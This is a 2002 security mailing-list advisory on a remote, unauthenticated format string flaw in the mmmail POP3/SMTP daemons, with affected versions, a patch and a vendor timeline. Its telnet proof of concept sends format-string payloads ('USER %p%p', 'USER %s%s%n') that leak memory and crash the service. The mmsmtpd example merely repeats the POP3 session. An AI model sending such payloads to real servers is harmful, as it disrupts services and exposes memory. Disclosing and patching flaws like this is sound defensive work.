[UNIX] mmmail POP3-SMTP Daemon Format String Vulnerability

From: support@securiteam.com
Date: 06/13/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Thu, 13 Jun 2002 07:45:34 +0200 (CEST)

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  mmmail POP3-SMTP Daemon Format String Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://freshmeat.net/projects/mmmail/> mmmail provides SMTP and POP3
daemons using MySQL, running as a non-root user. It also supports
bandwidth shaping. Relaying is not supported, although it has been
designed to handle many users on many virtual hosts. It is fast and
secure, uses threads, and has been written entirely from scratch and does
not rely on mbox or Maildir formats. mmmail includes 2 daemons, mmpop3d
and mmsmtpd. Both are vulnerable to a remotely exploitable format string
issue.

DETAILS

Vulnerable systems:
 * mmmail version 0.0.13 and prior

Immune systems:
 * mmmail version 0.0.14

There is a format string vulnerability in the 'mmsyslog()' function of the
'mmpop3d' and 'mmsmtpd' programs. This function acts like 'vsyslog()' if
'__GLIBC__' is defined. It calls the 'syslog(3)' function with a format
string that can be defined by a remote user. It is not necessary to
authenticate to exploit this vulnerability.

Successful exploitation of this flaw can allow a remote user to obtain a
local account on the target machine.

Proof of concept:
mmpop3d
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmmail-0.0.13/mmondor)) Service ready
USER %p%p
- -ERR Invalid username

In the log file :
mmpop3d[2165]: 3CFC8B53 USER 0x8052f620x80a44fc

test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmmail-0.0.13/mmondor)) Service ready
USER %s%s%n
Connection closed by foreign host.

test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
telnet: Unable to connect to remote host: Connection refused

mmsmtpd
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmmail-0.0.13/mmondor)) Service ready
USER %p%p
- -ERR Invalid username

In the log file :
mmpop3d[2165]: 3CFC8B53 USER 0x8052f620x80a44fc

test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmmail-0.0.13/mmondor)) Service ready
USER %s%s%n
Connection closed by foreign host.

test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
telnet: Unable to connect to remote host: Connection refused

Solution:
The following patch corrects this issue :

iff -dru mmmail-0.0.13/mmlib/mmlog.c mmmail-0.0.13.fixed/mmlib/mmlog.c
- --- mmmail-0.0.13/mmlib/mmlog.c Mon May 13 08:20:13 2002
+++ mmmail-0.0.13.fixed/mmlib/mmlog.c Tue Jun 4 12:37:19 2002
@@ -70,7 +70,7 @@
  va_start(lst, fmt);
  vsnprintf(buf, 1023, fmt, lst);
  va_end(lst);
- - syslog(LOG_NOTICE, buf);
+ syslog(LOG_NOTICE, "%s", buf);
     }
 }

A new version including this patch is available at the following URL:
<http://mmondor.gobot.ca/software/linux/mmmail-0.0.14.tar.gz>
http://mmondor.gobot.ca/software/linux/mmmail-0.0.14.tar.gz

Vendor status:
04-06-2002 : This bulletin was sent to Matthew Mondor.
05-06-2002 : Matthew was very reactive and confirmed the vulnerability. He
released a new version.

ADDITIONAL INFORMATION

The information has been provided by <mailto:benoit.roussel@intexxia.com>
Benoît Roussel.

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